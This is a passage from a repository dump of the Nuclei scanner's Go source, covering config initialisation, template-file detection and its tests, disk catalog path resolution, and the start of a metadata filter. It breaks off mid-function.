skip\n\t\t\tcontinue\n\t\t}\n\t\tswitch key {\n\t\tcase DebugArgHostErrorStats:\n\t\t\tc.debugArgs = append(c.debugArgs, DebugArgHostErrorStats)\n\t\tcase DebugExportURLPattern:\n\t\t\tc.debugArgs = append(c.debugArgs, DebugExportURLPattern)\n\t\t}\n\t}\n}\n\nfunc init() {\n\tConfigDir := folderutil.AppConfigDirOrDefault(FallbackConfigFolderName, BinaryName)\n\n\tif cfgDir := os.Getenv(NucleiConfigDirEnv); cfgDir != \"\" {\n\t\tConfigDir = cfgDir\n\t}\n\n\t// create config directory if not exists\n\tif !fileutil.FolderExists(ConfigDir) {\n\t\tif err := fileutil.CreateFolder(ConfigDir); err != nil {\n\t\t\tgologger.Error().Msgf(\"failed to create config directory at %v got: %s\", ConfigDir, err)\n\t\t}\n\t}\n\tDefaultConfig = &Config{\n\t\thomeDir:   folderutil.HomeDirOrDefault(\"\"),\n\t\tconfigDir: ConfigDir,\n\t\tLogger:    gologger.DefaultLogger,\n\t}\n\n\t// when enabled will log events in more verbosity than -v or -debug\n\t// ex: N templates are excluded\n\t// with this switch enabled nuclei will print details of above N templates\n\tif value := env.GetEnvOrDefault(\"NUCLEI_LOG_ALL\", false); value {\n\t\tDefaultConfig.LogAllEvents = true\n\t}\n\tif value := env.GetEnvOrDefault(\"HIDE_TEMPLATE_SIG_WARNING\", false); value {\n\t\tDefaultConfig.HideTemplateSigWarning = true\n\t}\n\n\t// try to read config from file\n\tif err := DefaultConfig.ReadTemplatesConfig(); err != nil {\n\t\tgologger.Verbose().Msgf(\"config file not found, creating new config file at %s\", DefaultConfig.getTemplatesConfigFilePath())\n\t\tapplyDefaultConfig()\n\t\t// write config to file\n\t\tif err := DefaultConfig.WriteTemplatesConfig(); err != nil {\n\t\t\tgologger.Error().Msgf(\"failed to write config file at %s got: %s\", DefaultConfig.getTemplatesConfigFilePath(), err)\n\t\t}\n\t}\n\n\t// Loads/updates paths of custom templates\n\t// Note: custom templates paths should not be updated in config file\n\t// and even if it is changed we don't follow it since it is not expected behavior\n\t// If custom templates are in default locations only then they are loaded while running nuclei\n\tDefaultConfig.SetTemplatesDir(DefaultConfig.TemplatesDirectory)\n\tDefaultConfig.parseDebugArgs(env.GetEnvOrDefault(\"NUCLEI_ARGS\", \"\"))\n}\n\n// Add Default Config adds default when .templates-config.json file is not present\nfunc applyDefaultConfig() {\n\tDefaultConfig.TemplatesDirectory = filepath.Join(DefaultConfig.homeDir, NucleiTemplatesDirName)\n\t// updates all necessary paths\n\tDefaultConfig.SetTemplatesDir(DefaultConfig.TemplatesDirectory)\n}\n"
  },
  {
    "path": "pkg/catalog/config/template.go",
    "content": "package config\n\nimport (\n\t\"encoding/csv\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/extensions\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\nvar (\n\tknownConfigFiles     = []string{\"cves.json\", \"contributors.json\", \"TEMPLATES-STATS.json\"}\n\tknownMiscDirectories = []string{\".git\", \".github\", \"helpers\"}\n)\n\n// TemplateFormat\ntype TemplateFormat uint8\n\nconst (\n\tYAML TemplateFormat = iota\n\tJSON\n\tUnknown\n)\n\n// GetKnownConfigFiles returns known config files.\nfunc GetKnownConfigFiles() []string {\n\treturn knownConfigFiles\n}\n\n// GetKnownMiscDirectories returns known misc directories with trailing slashes.\n//\n// The trailing slash ensures that directory matching is explicit and avoids\n// falsely match files with similar names (e.g. \"helpers\" matching\n// \"some-helpers.yaml\"), since [IsTemplate] checks against normalized full paths.\nfunc GetKnownMiscDirectories() []string {\n\ttrailedSlashDirs := make([]string, 0, len(knownMiscDirectories))\n\tfor _, dir := range knownMiscDirectories {\n\t\ttrailedSlashDirs = append(trailedSlashDirs, dir+string(os.PathSeparator))\n\t}\n\n\treturn trailedSlashDirs\n}\n\n// GetTemplateFormatFromExt returns template format\nfunc GetTemplateFormatFromExt(filePath string) TemplateFormat {\n\tfileExt := strings.ToLower(filepath.Ext(filePath))\n\tswitch fileExt {\n\tcase extensions.JSON:\n\t\treturn JSON\n\tcase extensions.YAML:\n\t\treturn YAML\n\tdefault:\n\t\treturn Unknown\n\t}\n}\n\n// GetSupportTemplateFileExtensions returns all supported template file extensions\nfunc GetSupportTemplateFileExtensions() []string {\n\treturn []string{extensions.YAML, extensions.JSON}\n}\n\n// IsTemplate returns true if the file is a template based on its path.\n// It used by goflags and other places to filter out non-template files.\nfunc IsTemplate(fpath string) bool {\n\treturn IsTemplateWithRoot(fpath, \"\")\n}\n\n// IsTemplateWithRoot returns true if the file is a template based on its path\n// and root directory. If rootDir is provided, it checks for excluded\n// directories relative to the root.\nfunc IsTemplateWithRoot(fpath, rootDir string) bool {\n\tfpath = filepath.FromSlash(fpath)\n\tfname := filepath.Base(fpath)\n\tfext := strings.ToLower(filepath.Ext(fpath))\n\n\tif stringsutil.ContainsAny(fname, GetKnownConfigFiles()...) {\n\t\treturn false\n\t}\n\n\tvar pathToCheck string\n\tif rootDir != \"\" {\n\t\tif filepath.IsAbs(fpath) {\n\t\t\trel, err := filepath.Rel(rootDir, fpath)\n\t\t\tif err == nil && !strings.HasPrefix(rel, \"..\") {\n\t\t\t\tpathToCheck = rel\n\t\t\t} else {\n\t\t\t\tpathToCheck = fpath\n\t\t\t}\n\t\t} else {\n\t\t\tpathToCheck = fpath\n\t\t}\n\t} else {\n\t\tpathToCheck = fpath\n\t}\n\n\t// Only check components if pathToCheck is NOT absolute\n\t// This avoids false positives on parent directories for absolute paths\n\tif !filepath.IsAbs(pathToCheck) {\n\t\tparts := strings.Split(pathToCheck, string(os.PathSeparator))\n\t\tfor _, p := range parts {\n\t\t\tfor _, excluded := range knownMiscDirectories {\n\t\t\t\tif strings.EqualFold(p, excluded) {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn stringsutil.EqualFoldAny(fext, GetSupportTemplateFileExtensions()...)\n}\n\ntype template struct {\n\tID string `json:\"id\" yaml:\"id\"`\n}\n\n// GetTemplateIDFromReader returns template id from reader\nfunc GetTemplateIDFromReader(data io.Reader, filename string) (string, error) {\n\tvar t template\n\tvar err error\n\tswitch GetTemplateFormatFromExt(filename) {\n\tcase YAML:\n\t\terr = fileutil.UnmarshalFromReader(fileutil.YAML, data, &t)\n\tcase JSON:\n\t\terr = fileutil.UnmarshalFromReader(fileutil.JSON, data, &t)\n\t}\n\treturn t.ID, err\n}\n\nfunc getTemplateID(filePath string) (string, error) {\n\tfile, err := os.Open(filePath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\treturn GetTemplateIDFromReader(file, filePath)\n}\n\n// GetTemplatesIndexFile returns map[template-id]: template-file-path\nfunc GetNucleiTemplatesIndex() (map[string]string, error) {\n\tindexFile := DefaultConfig.GetTemplateIndexFilePath()\n\tindex := map[string]string{}\n\tif fileutil.FileExists(indexFile) {\n\t\tf, err := os.Open(indexFile)\n\t\tif err == nil {\n\t\t\tcsvReader := csv.NewReader(f)\n\t\t\trecords, err := csvReader.ReadAll()\n\t\t\tif err == nil {\n\t\t\t\tfor _, v := range records {\n\t\t\t\t\tif len(v) >= 2 {\n\t\t\t\t\t\ttemplateID := v[0]\n\t\t\t\t\t\ttemplatePath := v[1]\n\t\t\t\t\t\t// Normalize path for consistent comparison (handles Windows path issues)\n\t\t\t\t\t\tnormalizedPath := filepath.Clean(templatePath)\n\t\t\t\t\t\t// Validate that the file actually exists (prevents stale entries from deleted files on Windows)\n\t\t\t\t\t\tif fileutil.FileExists(normalizedPath) {\n\t\t\t\t\t\t\tindex[templateID] = normalizedPath\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Close file handle before returning\n\t\t\t\t_ = f.Close()\n\t\t\t\treturn index, nil\n\t\t\t}\n\t\t\t_ = f.Close()\n\t\t}\n\t\tDefaultConfig.Logger.Error().Msgf(\"failed to read index file creating new one: %v\", err)\n\t}\n\n\tignoreDirs := DefaultConfig.GetAllCustomTemplateDirs()\n\n\t// empty index if templates are not installed\n\tif !fileutil.FolderExists(DefaultConfig.TemplatesDirectory) {\n\t\treturn index, nil\n\t}\n\terr := filepath.WalkDir(DefaultConfig.TemplatesDirectory, func(path string, d os.DirEntry, err error) error {\n\t\tif err != nil {\n\t\t\tDefaultConfig.Logger.Verbose().Msgf(\"failed to walk path=%v err=%v\", path, err)\n\t\t\treturn nil\n\t\t}\n\t\tif d.IsDir() || !IsTemplateWithRoot(path, DefaultConfig.TemplatesDirectory) || stringsutil.ContainsAny(path, ignoreDirs...) {\n\t\t\treturn nil\n\t\t}\n\t\t// Normalize path for consistent comparison (handles Windows path issues)\n\t\tnormalizedPath := filepath.Clean(path)\n\t\t// get template id from file\n\t\tid, err := getTemplateID(normalizedPath)\n\t\tif err != nil || id == \"\" {\n\t\t\tDefaultConfig.Logger.Verbose().Msgf(\"failed to get template id from file=%v got id=%v err=%v\", normalizedPath, id, err)\n\t\t\treturn nil\n\t\t}\n\t\tindex[id] = normalizedPath\n\t\treturn nil\n\t})\n\treturn index, err\n}\n"
  },
  {
    "path": "pkg/catalog/config/template_test.go",
    "content": "package config\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\tosutils \"github.com/projectdiscovery/utils/os\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc toAbs(p string) string {\n\tif osutils.IsWindows() {\n\t\t// Infer the drive letter from the Windows system path\n\t\t// SystemRoot or WINDIR typically points to something like \"C:\\Windows\"\n\t\tsystemRoot := os.Getenv(\"SystemRoot\")\n\t\tif systemRoot == \"\" {\n\t\t\tsystemRoot = os.Getenv(\"WINDIR\")\n\t\t}\n\t\t// Extract volume name (e.g., \"C:\") from the system path\n\t\tvolumeName := filepath.VolumeName(systemRoot)\n\t\tif volumeName == \"\" {\n\t\t\t// Fallback to C: if we can't determine the volume\n\t\t\tvolumeName = \"C:\"\n\t\t}\n\t\treturn filepath.FromSlash(volumeName + p)\n\t}\n\treturn filepath.FromSlash(p)\n}\n\nfunc TestIsTemplate(t *testing.T) {\n\ttests := []struct {\n\t\tname    string\n\t\tfpath   string\n\t\trootDir string\n\t\twant    bool\n\t}{\n\t\t{\n\t\t\tname:    \"valid template\",\n\t\t\tfpath:   \"dns/cname.yaml\",\n\t\t\trootDir: \"\",\n\t\t\twant:    true,\n\t\t},\n\t\t{\n\t\t\tname:    \"excluded directory relative\",\n\t\t\tfpath:   \"helpers/data.txt\",\n\t\t\trootDir: \"\",\n\t\t\twant:    false,\n\t\t},\n\t\t{\n\t\t\tname:    \"excluded directory .git\",\n\t\t\tfpath:   \".git/config\",\n\t\t\trootDir: \"\",\n\t\t\twant:    false,\n\t\t},\n\t\t{\n\t\t\tname:    \"absolute path with excluded parent dir (bug fix)\",\n\t\t\tfpath:   toAbs(\"/path/to/somewhere/that/has/helpers/dir/nuclei/nuclei-templates/dns/cname.yaml\"),\n\t\t\trootDir: toAbs(\"/path/to/somewhere/that/has/helpers/dir/nuclei/nuclei-templates\"),\n\t\t\twant:    true,\n\t\t},\n\t\t{\n\t\t\tname:    \"absolute path with excluded dir inside root\",\n\t\t\tfpath:   toAbs(\"/path/to/somewhere/that/has/helpers/dir/nuclei/nuclei-templates/helpers/data.txt\"),\n\t\t\trootDir: toAbs(\"/path/to/somewhere/that/has/helpers/dir/nuclei/nuclei-templates\"),\n\t\t\twant:    false,\n\t\t},\n\t\t{\n\t\t\tname:    \"absolute path without root (skip check)\",\n\t\t\tfpath:   toAbs(\"/opt/helpers/foo.yaml\"),\n\t\t\trootDir: \"\",\n\t\t\twant:    true,\n\t\t},\n\t\t{\n\t\t\tname:    \"valid template with different extension\",\n\t\t\tfpath:   \"dns/cname.json\",\n\t\t\trootDir: \"\",\n\t\t\twant:    true,\n\t\t},\n\t\t{\n\t\t\tname:    \"invalid extension\",\n\t\t\tfpath:   \"dns/cname.txt\",\n\t\t\trootDir: \"\",\n\t\t\twant:    false,\n\t\t},\n\t\t{\n\t\t\tname:    \"excluded config file\",\n\t\t\tfpath:   \"cves.json\",\n\t\t\trootDir: \"\",\n\t\t\twant:    false,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot := IsTemplateWithRoot(tt.fpath, tt.rootDir)\n\t\t\trequire.Equal(t, tt.want, got, \"IsTemplateWithRoot(%q, %q)\", tt.fpath, tt.rootDir)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/catalog/disk/catalog.go",
    "content": "package disk\n\nimport (\n\t\"io\"\n\t\"io/fs\"\n\t\"os\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n)\n\n// DiskCatalog is a template catalog helper implementation based on disk\ntype DiskCatalog struct {\n\ttemplatesDirectory string\n\ttemplatesFS        fs.FS // Due to issues with how Go has implemented fs.FS, we'll have to also implement normal os operations, as well.  See: https://github.com/golang/go/issues/44279\n}\n\n// NewCatalog creates a new Catalog structure using provided input items\n// using disk based items\nfunc NewCatalog(directory string) *DiskCatalog {\n\tcatalog := &DiskCatalog{templatesDirectory: directory}\n\tif directory == \"\" {\n\t\tcatalog.templatesDirectory = config.DefaultConfig.GetTemplateDir()\n\t}\n\treturn catalog\n}\n\n// NewFSCatalog creates a new Catalog structure using provided input items\n// using the fs.FS as its filesystem.\nfunc NewFSCatalog(fs fs.FS, directory string) *DiskCatalog {\n\tcatalog := &DiskCatalog{\n\t\ttemplatesDirectory: directory,\n\t\ttemplatesFS:        fs,\n\t}\n\treturn catalog\n}\n\n// OpenFile opens a file and returns an io.ReadCloser to the file.\n// It is used to read template and payload files based on catalog responses.\nfunc (d *DiskCatalog) OpenFile(filename string) (io.ReadCloser, error) {\n\tif d.templatesFS == nil {\n\t\treturn os.Open(filename)\n\t}\n\n\treturn d.templatesFS.Open(filename)\n}\n"
  },
  {
    "path": "pkg/catalog/disk/errors.go",
    "content": "package disk\n\nimport \"errors\"\n\nvar (\n\tErrNoTemplatesFound = errors.New(\"no templates found\")\n)\n"
  },
  {
    "path": "pkg/catalog/disk/find.go",
    "content": "package disk\n\nimport (\n\t\"fmt\"\n\t\"io/fs\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\tupdateutils \"github.com/projectdiscovery/utils/update\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nvar deprecatedPathsCounter int\n\n// GetTemplatesPath returns a list of absolute paths for the provided template list.\nfunc (c *DiskCatalog) GetTemplatesPath(definitions []string) ([]string, map[string]error) {\n\t// keeps track of processed dirs and files\n\tprocessed := make(map[string]bool)\n\tallTemplates := []string{}\n\terred := make(map[string]error)\n\n\tfor _, t := range definitions {\n\t\tif stringsutil.ContainsAny(t, knownConfigFiles...) {\n\t\t\t// TODO: this is a temporary fix to avoid treating these files as templates\n\t\t\t// this should be replaced with more appropriate and robust logic\n\t\t\tcontinue\n\t\t}\n\t\tif strings.Contains(t, urlutil.SchemeSeparator) && stringsutil.ContainsAny(t, config.GetSupportTemplateFileExtensions()...) {\n\t\t\tif _, ok := processed[t]; !ok {\n\t\t\t\tprocessed[t] = true\n\t\t\t\tallTemplates = append(allTemplates, t)\n\t\t\t}\n\t\t} else {\n\t\t\tpaths, err := c.GetTemplatePath(t)\n\t\t\tif err != nil {\n\t\t\t\terred[t] = err\n\t\t\t}\n\t\t\tfor _, path := range paths {\n\t\t\t\tif _, ok := processed[path]; !ok {\n\t\t\t\t\tprocessed[path] = true\n\t\t\t\t\tallTemplates = append(allTemplates, path)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t// purge all false positives\n\tfilteredTemplates := []string{}\n\tfor _, v := range allTemplates {\n\t\t// TODO: this is a temporary fix to avoid treating these files as templates\n\t\t// this should be replaced with more appropriate and robust logic\n\t\tif !stringsutil.ContainsAny(v, knownConfigFiles...) {\n\t\t\tfilteredTemplates = append(filteredTemplates, v)\n\t\t}\n\t}\n\n\treturn filteredTemplates, erred\n}\n\n// GetTemplatePath parses the specified input template path and returns a compiled\n// list of finished absolute paths to the templates evaluating any glob patterns\n// or folders provided as in.\nfunc (c *DiskCatalog) GetTemplatePath(target string) ([]string, error) {\n\tprocessed := make(map[string]struct{})\n\n\tif c.templatesFS == nil {\n\t\tvar err error\n\t\ttarget, err = c.convertPathToAbsolute(target)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"could not find template file\")\n\t\t}\n\t}\n\n\tif strings.Contains(target, \"*\") {\n\t\tglobMatches, err := c.findGlobPathMatches(target, processed)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not globbing path\")\n\t\t}\n\n\t\tif len(globMatches) > 0 {\n\t\t\treturn globMatches, nil\n\t\t} else {\n\t\t\treturn globMatches, fmt.Errorf(\"%w in path %q\", ErrNoTemplatesFound, target)\n\t\t}\n\t}\n\n\t// `target` is either a file or a directory\n\tmatch, file, err := c.findFileMatches(target, processed)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not find file\")\n\t}\n\n\tif file {\n\t\tif match != \"\" {\n\t\t\treturn []string{match}, nil\n\t\t}\n\t\treturn nil, nil\n\t}\n\n\t// Recursively walk down the Templates directory and run all\n\t// the template file checks\n\tmatches, err := c.findDirectoryMatches(target, processed)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not find directory matches\")\n\t}\n\n\tif len(matches) == 0 {\n\t\treturn nil, fmt.Errorf(\"%w in path %q\", ErrNoTemplatesFound, target)\n\t}\n\n\treturn matches, nil\n}\n\n// convertPathToAbsolute resolves the paths provided to absolute paths\n// before doing any operations on them regardless of them being BLOB, folders, files, etc.\nfunc (c *DiskCatalog) convertPathToAbsolute(t string) (string, error) {\n\tif strings.Contains(t, \"*\") {\n\t\tfile := filepath.Base(t)\n\t\tabsPath, err := c.ResolvePath(filepath.Dir(t), \"\")\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\treturn filepath.Join(absPath, file), nil\n\t}\n\treturn c.ResolvePath(t, \"\")\n}\n\n// findGlobPathMatches returns the matched files from a glob path\nfunc (c *DiskCatalog) findGlobPathMatches(absPath string, processed map[string]struct{}) ([]string, error) {\n\t// trim templateDir if any\n\trelPath := strings.TrimPrefix(absPath, c.templatesDirectory)\n\t// trim leading slash if any\n\tif c.templatesFS != nil {\n\t\t// fs.FS always uses forward slashes\n\t\trelPath = strings.TrimPrefix(relPath, \"/\")\n\t} else {\n\t\trelPath = strings.TrimPrefix(relPath, string(os.PathSeparator))\n\t}\n\n\tvar err error\n\tvar matches []string\n\n\tif c.templatesFS != nil {\n\t\tmatches, err = fs.Glob(c.templatesFS, relPath)\n\t} else {\n\t\tmatches, err = filepath.Glob(absPath)\n\t}\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresults := make([]string, 0, len(matches))\n\tfor _, match := range matches {\n\t\tif _, ok := processed[match]; !ok {\n\t\t\tprocessed[match] = struct{}{}\n\t\t\tresults = append(results, match)\n\t\t}\n\t}\n\n\treturn results, nil\n}\n\n// findFileMatches finds if a path is an absolute file. If the path\n// is a file, it returns true otherwise false with no errors.\nfunc (c *DiskCatalog) findFileMatches(absPath string, processed map[string]struct{}) (match string, matched bool, err error) {\n\tif c.templatesFS != nil {\n\t\tabsPath = strings.Trim(absPath, \"/\")\n\t}\n\tvar info fs.File\n\tif c.templatesFS == nil {\n\t\tinfo, err = os.Open(absPath)\n\t} else {\n\t\t// If we were given no path, then it's not a file, it's the root, and we can quietly return.\n\t\tif absPath == \"\" {\n\t\t\treturn \"\", false, nil\n\t\t}\n\n\t\tinfo, err = c.templatesFS.Open(absPath)\n\t}\n\tif err != nil {\n\t\treturn \"\", false, err\n\t}\n\tstat, err := info.Stat()\n\tif err != nil {\n\t\treturn \"\", false, err\n\t}\n\tif !stat.Mode().IsRegular() {\n\t\treturn \"\", false, nil\n\t}\n\tif _, ok := processed[absPath]; !ok {\n\t\tprocessed[absPath] = struct{}{}\n\t\treturn absPath, true, nil\n\t}\n\treturn \"\", true, nil\n}\n\n// findDirectoryMatches finds matches for templates from a directory\nfunc (c *DiskCatalog) findDirectoryMatches(absPath string, processed map[string]struct{}) ([]string, error) {\n\tvar results []string\n\tvar err error\n\tif c.templatesFS == nil {\n\t\terr = filepath.WalkDir(\n\t\t\tabsPath,\n\t\t\tfunc(path string, d fs.DirEntry, err error) error {\n\t\t\t\t// continue on errors\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\tif !d.IsDir() && config.IsTemplateWithRoot(path, absPath) {\n\t\t\t\t\tif _, ok := processed[path]; !ok {\n\t\t\t\t\t\tresults = append(results, path)\n\t\t\t\t\t\tprocessed[path] = struct{}{}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn nil\n\t\t\t},\n\t\t)\n\t} else {\n\t\t// For the special case of the root directory, we need to pass \".\" to `fs.WalkDir`.\n\t\tif absPath == \"\" {\n\t\t\tabsPath = \".\"\n\t\t}\n\t\tabsPath = strings.TrimSuffix(absPath, \"/\")\n\n\t\terr = fs.WalkDir(\n\t\t\tc.templatesFS,\n\t\t\tabsPath,\n\t\t\tfunc(path string, d fs.DirEntry, err error) error {\n\t\t\t\t// continue on errors\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\tif !d.IsDir() && config.IsTemplateWithRoot(path, absPath) {\n\t\t\t\t\tif _, ok := processed[path]; !ok {\n\t\t\t\t\t\tresults = append(results, path)\n\t\t\t\t\t\tprocessed[path] = struct{}{}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn nil\n\t\t\t},\n\t\t)\n\t}\n\treturn results, err\n}\n\n// PrintDeprecatedPathsMsgIfApplicable prints a warning message if any\n// deprecated paths are found. Unless mode is silent warning message is printed.\n//\n// Deprecated: No longer used since the official Nuclei Templates repository\n// have restructured this a long time ago.\nfunc PrintDeprecatedPathsMsgIfApplicable(isSilent bool) {\n\tif !updateutils.IsOutdated(\"v9.4.3\", config.DefaultConfig.TemplateVersion) {\n\t\treturn\n\t}\n\tif deprecatedPathsCounter > 0 && !isSilent {\n\t\tconfig.DefaultConfig.Logger.Print().Msgf(\"[%v] Found %v template[s] loaded with deprecated paths, update before v3 for continued support.\\n\", aurora.Yellow(\"WRN\").String(), deprecatedPathsCounter)\n\t}\n}\n"
  },
  {
    "path": "pkg/catalog/disk/known-files.go",
    "content": "package disk\n\nvar knownConfigFiles = []string{\"cves.json\", \"contributors.json\", \"TEMPLATES-STATS.json\"}\n"
  },
  {
    "path": "pkg/catalog/disk/path.go",
    "content": "package disk\n\nimport (\n\t\"fmt\"\n\t\"io/fs\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\n// ResolvePath resolves the path to an absolute one in various ways.\n//\n// It checks if the filename is an absolute path, looks in the current directory\n// or checking the nuclei templates directory. If a second path is given,\n// it also tries to find paths relative to that second path.\nfunc (c *DiskCatalog) ResolvePath(templateName, second string) (string, error) {\n\tif filepath.IsAbs(templateName) {\n\t\treturn templateName, nil\n\t}\n\tif c.templatesFS != nil {\n\t\tif potentialPath, err := c.tryResolve(templateName); err != errNoValidCombination {\n\t\t\treturn potentialPath, nil\n\t\t}\n\t}\n\tif second != \"\" {\n\t\tsecondBasePath := filepath.Join(filepath.Dir(second), templateName)\n\t\tif potentialPath, err := c.tryResolve(secondBasePath); err != errNoValidCombination {\n\t\t\treturn potentialPath, nil\n\t\t}\n\t}\n\n\tif c.templatesFS == nil {\n\t\tcurDirectory, err := os.Getwd()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\ttemplatePath := filepath.Join(curDirectory, templateName)\n\t\tif potentialPath, err := c.tryResolve(templatePath); err != errNoValidCombination {\n\t\t\treturn potentialPath, nil\n\t\t}\n\t}\n\n\ttemplatePath := filepath.Join(config.DefaultConfig.GetTemplateDir(), templateName)\n\tif potentialPath, err := c.tryResolve(templatePath); err != errNoValidCombination {\n\t\treturn potentialPath, nil\n\t}\n\n\treturn \"\", fmt.Errorf(\"no such path found: %s\", templateName)\n}\n\nvar errNoValidCombination = errors.New(\"no valid combination found\")\n\n// tryResolve attempts to load locate the target by iterating across all the folders tree\nfunc (c *DiskCatalog) tryResolve(fullPath string) (string, error) {\n\tif c.templatesFS == nil {\n\t\tif fileutil.FileOrFolderExists(fullPath) {\n\t\t\treturn fullPath, nil\n\t\t}\n\t} else {\n\t\tif _, err := fs.Stat(c.templatesFS, fullPath); err == nil {\n\t\t\treturn fullPath, nil\n\t\t}\n\t}\n\treturn \"\", errNoValidCombination\n}\n\n// BackwardsCompatiblePaths returns new paths for all old/legacy template paths\n// Note: this is a temporary function and will be removed in the future release\n//\n// Deprecated: No longer used since the official Nuclei Templates repository\n// have restructured this a long time ago.\nfunc BackwardsCompatiblePaths(templateDir string, oldPath string) string {\n\t// TODO: remove this function in the future release\n\t// 1. all http related paths are now moved at path /http\n\t// 2. network related CVES are now moved at path /network/cves\n\tnewPathCallback := func(path string) string {\n\t\t// trim prefix slash if any\n\t\tpath = strings.TrimPrefix(path, \"/\")\n\t\t// try to resolve path at /http subdirectory\n\t\tif fileutil.FileOrFolderExists(filepath.Join(templateDir, \"http\", path)) {\n\t\t\treturn filepath.Join(templateDir, \"http\", path)\n\t\t\t// try to resolve path at /network/cves subdirectory\n\t\t} else if strings.HasPrefix(path, \"cves\") && fileutil.FileOrFolderExists(filepath.Join(templateDir, \"network\", \"cves\", path)) {\n\t\t\treturn filepath.Join(templateDir, \"network\", \"cves\", path)\n\t\t}\n\t\t// most likely the path is not found\n\t\treturn filepath.Join(templateDir, path)\n\t}\n\tswitch {\n\tcase fileutil.FileOrFolderExists(oldPath):\n\t\t// new path specified skip processing\n\t\treturn oldPath\n\tcase filepath.IsAbs(oldPath):\n\t\ttmp := strings.TrimPrefix(oldPath, templateDir)\n\t\tif tmp == oldPath {\n\t\t\t// user provided absolute path which is not in template directory\n\t\t\t// skip processing\n\t\t\treturn oldPath\n\t\t}\n\t\t// trim the template directory from the path\n\t\treturn newPathCallback(tmp)\n\tcase strings.Contains(oldPath, urlutil.SchemeSeparator):\n\t\t// scheme separator is used to identify the path as url\n\t\t// TBD: add support for url directories ??\n\t\treturn oldPath\n\tcase strings.Contains(oldPath, \"*\"):\n\t\t// this is most likely a glob path skip processing\n\t\treturn oldPath\n\tdefault:\n\t\t// this is most likely a relative path\n\t\treturn newPathCallback(oldPath)\n\t}\n}\n"
  },
  {
    "path": "pkg/catalog/index/filter.go",
    "content": "package index\n\nimport (\n\t\"path/filepath\"\n\t\"slices\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n)\n\n// Filter represents filtering criteria for template metadata.\n//\n// Inclusion fields (e.g., Authors, Tags, IDs, Severities, ProtocolTypes) use\n// AND logic across different filter types and OR logic within each type.\n// Exclusion fields (e.g., ExcludeTags, ExcludeIDs, ExcludeSeverities,\n// ExcludeProtocolTypes) take precedence over inclusion fields. Additionally,\n// IncludeTemplates and IncludeTags can force inclusion of templates even if\n// they match exclusion criteria.\ntype Filter struct {\n\t// Authors to include.\n\tAuthors []string\n\n\t// Tags to include.\n\tTags []string\n\n\t// ExcludeTags to exclude (takes precedence over Tags).\n\tExcludeTags []string\n\n\t// IncludeTags to force include even if excluded.\n\tIncludeTags []string\n\n\t// IDs to include (supports wildcards, OR logic).\n\tIDs []string\n\n\t// ExcludeIDs to exclude (supports wildcards).\n\tExcludeIDs []string\n\n\t// IncludeTemplates paths to force include even if excluded.\n\tIncludeTemplates []string\n\n\t// ExcludeTemplates paths to exclude.\n\tExcludeTemplates []string\n\n\t// Severities to include.\n\tSeverities []severity.Severity\n\n\t// ExcludeSeverities to exclude.\n\tExcludeSeverities []severity.Severity\n\n\t// ProtocolTypes to include.\n\tProtocolTypes []types.ProtocolType\n\n\t// ExcludeProtocolTypes to exclude.\n\tExcludeProtocolTypes []types.ProtocolType\n}\n\n// Matches checks if metadata matches the filter criteria.\nfunc (f *Filter) Matches(m *Metadata) bool {\n\tif f.isForcedInclude(m) {\n\t\treturn true\n\t}\n\n\tif f.isExcluded(m) {\n\t\treturn false\n\t}\n\n\tif !f.matchesIncludes(m) {\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// isForcedInclude checks if template is forced to be included.\nfunc (f *Filter) isForcedInclude(m *Metadata) bool {\n\tif len(f.IncludeTemplates) > 0 {\n\t\tfor _, includePath := range f.IncludeTemplates {\n\t\t\tif matchesPath(m.FilePath, includePath) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(f.IncludeTags) > 0 {\n\t\tif slices.ContainsFunc(f.IncludeTags, m.HasTag) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\n// isExcluded checks if template should be excluded.\nfunc (f *Filter) isExcluded(m *Metadata) bool 